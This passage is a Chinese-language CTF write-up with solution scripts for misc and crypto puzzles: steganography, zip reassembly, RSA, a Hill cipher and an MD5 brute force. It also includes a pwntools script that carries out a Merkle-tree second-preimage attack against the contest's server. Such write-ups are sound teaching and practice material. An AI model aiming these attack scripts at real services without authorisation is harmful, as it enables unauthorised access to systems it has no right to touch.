
for i in range(len(base)):
base[i] = base[i][::-1][1:5][::-1]

for i in base:
tmp = ''
for j in i:
if j != '=':
o = bin(table.index(j))[2:]
tmp += '0' * (6 - len(o)) + o
tmp = tmp + '0' * (24 - len(res))
if '==' in i:
res += tmp[8:12]
elif '=' in i:
res += tmp[16:18]

flag = 'ctf{' + bin2text(res) + '}'
print(flag)


输出的就是flag了(具体原理真的到处都有的,找就完事了

PMGBA

做的最过瘾的一题(但是被自己蠢到了
图片.png

开局一张图, 文件全靠拆.
说实话一开始拿到图感觉挺熟悉的, 就是记不起来这是什么…
直到去百度PMGBA的意思才知道是宝可梦.这不就是我上学期练级刷的怪吗!

我也算是半年的宝可梦老玩家了(俊强才是宝可梦大师!
马上跑去问俊强”上学期我刷等级刷的那个有26个形态的字母怪叫什么”
‘未知图腾’

马上去找图鉴, 对应图鉴得到字符串remember to examine the.
一开始拿到这个我还以为就是想让我检查这张图片的意思(鬼知道这是flag的前半部分啊喂

扔binwalk跑了一下发现确实不止一张图片.由于被foremost坑过所以能手动分文件就手动分了. 用winhex打开图片, 对照这文件头文件尾, 分出了三张图(包括最开始的未知图腾

最开始注意到的其实是第三张图, 这是我第一个练到5v的宝可梦, 卡蒂狗!
图片.png
拖进Stegsolve分析没有什么结果后. 决定看看是不是LSB. 于是又把卡蒂狗扔进zsteg, 出来了一串字符串’pwd is 58growliness\n’.

密码是58growliness?

不知道这个密码是个啥直到从第二张图里分出段base64, 解码后发现是个加密的压缩包. 密码就是58growliness

里面一个txt, 内容全是pi ka chu的组合

1
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi.... 后面还有很多

猜测是某种加密, 但是却搜不到.但后面找到一篇大概讲的是用皮卡丘语编程的文章, 大概内容就是套用brainfuck的语法来编程. 所以来试试看是不是brainfuck.

根据字符出现的频率自己强行脑部回了对应表(dalao说github上有!

1
2
3
4
5
6
7
8
9
dit={ 	
'pi':'+',
'ka':'-',
'chu':']',
'pika':'[',
'pipi':'>',
'pichu':'<',
'pikachu':'.',
}

还原回brainfuck代码后运行得到的结果为foo bar

事实上拼接前面的remember to examine the foo bar 就是flag了.
但我却没有想到…(谁想的到啊
所以一直卡着不知道flag是啥.直到周一马克思课想着随便试一下, 才提交成功…(correct出来的时候人都傻了..
还是脑洞不够大吗

集齐五龙珠

一大堆的文件, 名字全都是base64. 想看看全部解码会不会有什么线索.
写了个脚本来解码

1
2
3
4
5
6
7
8
9
import os
from base64 import b64decode

base = 'problem/'

filenames = []
for root, ds, fs in os.walk(base):
for f in fs:
print(f, b64decode(f).decode('utf-8', 'ignore')) # 输出文件名和解码之后的文件名

果然里面有五个很特殊的文件, 解码之后是正常的字符串.
图片.png
就是后缀带one的文件(其他的是后面解题的文件

winhex打开first_one和last!_one 发现似乎是一个压缩包被拆成五份了.
尝试还原回去, 但是不知道中间三个压缩包的顺序. 于是写了个脚本来手动尝试(因为就3个文件就8种组合, 自己调换顺序就行了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
filename = {
'fi': 'first_one',
'fu': 'funny_one',
'la': 'last!_one',
'sm': 'smart_one',
'cu': 'cute__one'
}

files = {}
for i in filename:
with open(filename[i], 'rb') as f:
files[i] = f.read()
# file =files['fi']+files['fu']+files['cu']+files['sm']+files['la']
# file =files['fi']+files['fu']+files['sm']+files['cu']+files['la']
# file =files['fi']+files['sm']+files['fu']+files['cu']+files['la']
# file =files['fi']+files['sm']+files['cu']+files['fu']+files['la']
file = files['fi'] + files['cu'] + files['sm'] + files['fu'] + files['la']

with open('out.zip', 'wb') as f:
f.write(file)


尝试到第五个的时候压缩包就能正常的解压了.
解压出来一个flag文件, winhex打开发现文件头是jpg的文件头.
后缀改成jpg后打开
图片.png

Crypto

最喜欢的密码学! 这次想着要做完密码的, 可惜最后一道题没有做出来. 有趣的加密太难了, 附件只有一段像base的编码, 没什么思路…..

碰碰车

这题感觉就像是proof_of_work…
单纯的爆破md5
直接上脚本把

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from hashlib import md5
from string import printable

'''
md5(AGVSCF?TZV?WBGVHC?U)=a8f738??????5ea5??????80865???af
'''

STR1 = 'AGVSCF'
STR2 = 'TZV'
STR3 = 'WBGVHC'
STR4 = 'U'
for i in printable:
for j in printable:
for k in printable:
STR = STR1 + i + STR2 + j + STR3 + k + STR4
if md5(STR.encode()).hexdigest().startswith('a8f738'):
print(STR, md5(STR.encode()).hexdigest())

得到结果a8f738a65b715ea54900b180865b20af

EasyRSA

这题也很简单. 运算一下就可以得到N和phi了(太白给了呀
然后正常解rsa就行了
图片.png
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from gmpy2 import invert
from Crypto.Util.number import long_to_bytes

pandq = 20029167198807103822294848708534176719693827885584335928109682356494141073775700355124993345488062063358756812142730873692437534641839672970148348433433440
p2andq2 = 208680638196054793779950396947640995086963335225314494211048436767328157403385847902708950876722819363430805183637917486948883719184952031896287718282687710627112461479842558330512185988841693609451411485248346255881435015800175737788918607504412656254312427601603342579907641505150315471704698521905016530338
e = 65537
c = 91507581287268678382704102499829526115486105502321675954617344102253738157075000438078155655317661988277710347178352070963528948558320623410799852584156693215831487103699955781123962661928296191496664400110250226880815518273669335738236882265242192523589233915770596106654695524214247405913652100286077779879

n = (pandq ** 2 - p2andq2) // 2
phi = n - pandq + 1

d = invert(e, phi)

print(long_to_bytes(pow(c, d, n)))


输出就是flag了

Go home

这题太迷啦…到现在都还没懂出题人的意思.
给出的题目是这样的

1
2
3
n=0xc3d945bc033ff7dd932ba62d8ef506cb37f5fe8e45abdac07660c7ac2af97d3ce723710384046c1bd967e92b0e03666d7c0bcbd4043b39ee128e5a1c98b5367044a4e72a4868fdc4824e8f0f3074da2857a414c9dfd7bf208d41caefeac144a45a6ca225975b0fced05d85d6e95dc7c2fa303c8a69185b75b8b3fd7f3fe0b9b5
p = 0xdfe9dd9c9e9987e2fdb230fb346cefa87893afed5d1b4240872ec5b2dfc3b397ecbbf9b54ae6e9b7be150cdc79de1e87d2d674352b857ae4e000000000000000
c=0xe1ea04df467b48a7fa372d9374959571a084341041ec71f57e661cedfb517dbf1cc05a305edeb56ce0d2e29a98790a1cd538b31203a8ff7ea79aee1b3ad8629eac19607dce66f9138e3b376a8e915e24d209a23cb8e1a02c6030d840ceb4203

一开始拿到题的时候, 确实是没想到这里给的p是p的高位. 知道的话就懂是coppersmith了.
所以一开始拿到题是去分解n来着, yafu也确实分出p跟q来了(跟出题人聊了下预期解应该是用coppersmith的
图片.png
因为题目也没给公钥e, 所以试着去爆破了一下e, 然而也没爆出结果.(事实上应该是有结果的, 当e=3的时候肯定能得出结果, 但因为过滤是利用字符串ctf{
, 所以没有爆出结果来.

于是就卡住了…

因为p很奇怪(没想到这个是p的高位, 导致我觉得c和p调换过来了. 想看看c是否是素数, 扔进 www.factordb.com 出来了一个意想不到的结果
图片.png
啊这…三次方???
于是试着对c开三次方根, 然后转成字符串. 确实得到了在可打印字符范围内的一段字符串

1
ardyPq2]2lb]A_1q_p]_p1]qm]dsllw{

ctf,ard ctf,ard ctf,ard
对应字母都是位移2位的!
扔进工具里位移回来就得到
图片.png
(所以最后还是想吐槽一下, 能做出这题真的运气max了.

block cipher

连上远程查看源码, 发现明明是个hill密码!(名字却叫分组密码(狗头
很显然加密就是将pad之后的明文分为每16个字节一组,构成4*4的矩阵,每组都和密钥矩阵做模乘模数为256.

所以只需要构造一个在mod256意义下存在逆矩阵的矩阵, 将这个加密后只需要乘上它的逆矩阵就可以得到密钥矩阵了.再求出密钥矩阵的逆矩阵, 就得对密文进行解密.

对于求模256逆矩阵, 只不过是在原先求逆矩阵的基础上将所有的运算改成模256的意义下进行就行了.

为了节省时间, 在网上找到了一个现成的求模逆矩阵的脚本, 然后再修改了一些细节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from gmpy2 import gcd
import numpy as np # 计算行列式的值


class MyError(ValueError):
pass


# 检查矩阵格式是否合法以及是否可逆
def check_matrix(A, M):
if (not isinstance(A, list)) or (not isinstance(A[0], list)) or (not isinstance(A[0][0], int)):
raise MyError('Invalid matrix format.')
mat = np.array(A)
D = int(np.linalg.det(A)) % M
if gcd(D, M) > 1:
raise MyError('This matrix does not have a modular inversion matrix.')


# 矩阵的第一类初等变换:交换矩阵第i行与第j行
def swap(A, i, j):
temp = A[j]
A[j] = A[i]
A[i] = temp


# 矩阵的第二类初等变换:将矩阵第i行乘以n
def mul_n(A, i, n, M):
a = A[i]
A[i] = [a[x] * n % M for x in range(len(a))]


# 矩阵的第三类初等变换:矩阵第i行减去n倍的j行
def sub(A, i, j, n, M):
a = A[i]
b = A[j]
A[i] = [(a[x] - n * b[x]) % M for x in range(len(a))]


# 找到符合要求的第i行
def find_row(A, i, M):
start = i
while A[start][i] == 0 or gcd(A[start][i], M) > 1:
start = start + 1
return start


# 返回一个整数的模逆元素
def mod_rev(num, mod):
if (num == 0 or gcd(num, mod) > 1):
raise MyError('modular inversion does not exists.')
else:
i = 1
while i * num % mod != 1:
i = i + 1
return i


def disp(mat):
print('')
for i in range(len(mat)):
for j in range(len(mat[i])):
print(mat[i][j], end='\t')
print('')
print('')


def matrix_rev(A, M):
try:
check_matrix(A, M)
dim = len(A)
# concatenate with a unit matrix
for i in range(dim):
for j in range(dim):
if j == i:
A[i].append(1)
else:
A[i].append(0)
# transform
for i in range(dim):
target_row = find_row(A, i, M)
swap(A, i, target_row)
n = mod_rev(A[i][i], M)
mul_n(A, i, n, M)
for j in range(dim):
if j != i:
sub(A, j, i, A[j][i], M)
# get result
A_rev = [A[i][dim:] for i in range(dim)]
return A_rev
except Exception as e:
print(e)


A = [[42, 42, 42, 43], [42, 42, 41, 44], [42, 41, 42, 42], [41, 42, 42, 42]] # 发送过去的明文的矩阵形式
M = 256

AINV = matrix_rev(A, M)

# A = '***+**),*)**)***' 发送过去的明文
encA = '6a9acfbf3dc3bf1265ea2e6a470404c1' # 所返回的密文
enc_flag = '1017b9907716c35955305cbd50481660de262f48955ca48a6f97630d2cc7bb2e4f41b2a0bbce4c43575b234fff6455b0' # 加密之后的flag
enc_A = np.array([int(encA[i:i + 2], 16) for i in range(0, len(encA), 2)]).reshape(4, 4)

key = np.matmul(enc_A, AINV) % 256

'''
手动将key转成k的形式了
'''
k = [[113, 213, 10, 58],
[178, 139, 135, 13],
[216, 204, 16, 149],
[189, 0, 0, 189]]
keyinv = np.array(matrix_rev(k, M))

for i in range(0, len(enc_flag), 32):
encflag = enc_flag[i:i + 32]
enc_F = np.array([int(encflag[j:j + 2], 16) for j in range(0, len(encflag), 2)]).reshape(4, 4)
f = np.matmul(keyinv, enc_F) % 256
f = f.reshape(16, )
for i in f:
print(chr(i), end='')

得到flag:ctf{yes-sure-the-plain-is-blocked-right?}

ant forest

这题居然只有两个人做真的…可能大家都觉得源码太长了不想看吧?我个人是感觉一点都不难的

题目的源码不贴了. 大概是在建一个默克尔树(这个默克尔树我也是第一次接触.
网上找了张图, 就是从底部的叶子开始, 哈希之后两个两个为一组, 相加再哈希得到新的一层, 直到得到根节点.
图片.png

而题目的要求就是输入两次叶子节点, 两次的输入不能相同但最后的树根是相同的.仔细想想其实并不难, 第二次生成树的叶子节点是第一次生成的树的其中一层就行了.(似乎是叫第二次原像攻击?

知道原理之后就开始写脚本了, 但是过程不太顺利, 因为python3太多数据类型了(转来转去实在是太鸡儿麻烦了…

所以决定用python2写脚本(确实该用py2写不然太乱了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from hashlib import sha256
from pwn import *
import re

printable = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'


def dohash(dat):
return sha256(sha256(dat).digest()).digest()


con = remote('139.199.203.26', 20002)


def proof(END, SHA):
for i in printable:
for j in printable:
for k in printable:
for l in printable:
start = i + j + k + l
ensha = sha256(start + END).hexdigest()
if ensha == SHA:
print(start)
return start


resp = con.recvuntil('XXXX:')
END = re.findall(r'sha256\(XXXX\+(.*)\)', resp)[0]
SHA = re.findall(r'== (.*)', resp)[0]
con.sendline(proof(END, SHA))
con.recvuntil('>')

dic = ['a', 'b', 'c', 'd']
for _ in range(4):
con.sendline('1')
con.recv()
con.send(dic[_])
con.recvuntil('>')

con.sendline('2')
con.recvuntil('>')
con.sendline('3')
a = dohash('a')
b = dohash('b')
c = dohash('c')
d = dohash('d')

ab = a + b
cd = dohash(c + d).encode('hex')

con.recvuntil(':')
con.send(ab)
con.recvuntil(':')
con.send('r')
con.recvuntil(':')
con.send(cd)
con.recvuntil(':')
con.send('k')
print con.recvuntil('}')


最后得到!Not in leaves? Here is your reward: ctf\{QUrfLwKFL8Fs3vZbAW4hPrRZFRZ11QosBYQr5jol}

总结

这次HWB肝了4天半数学作业堆了好多…不过总的来说还是学到了很多新东西的(新东西都在wp详细写了, 所以有些地方详细有些地方简略.
特别是web, 真的学到了很多新东西,也算是收获满满的
Misc也是熟悉了很多套路吧
不过学了挺久密码但是没有全部做出来太难受了…
所以有趣的加密到底该怎么做…

大概就这些了,前面的大佬太强了, 根本打不过…
继续加油吧
哦对 文章里有错的地方请大佬务必提醒我!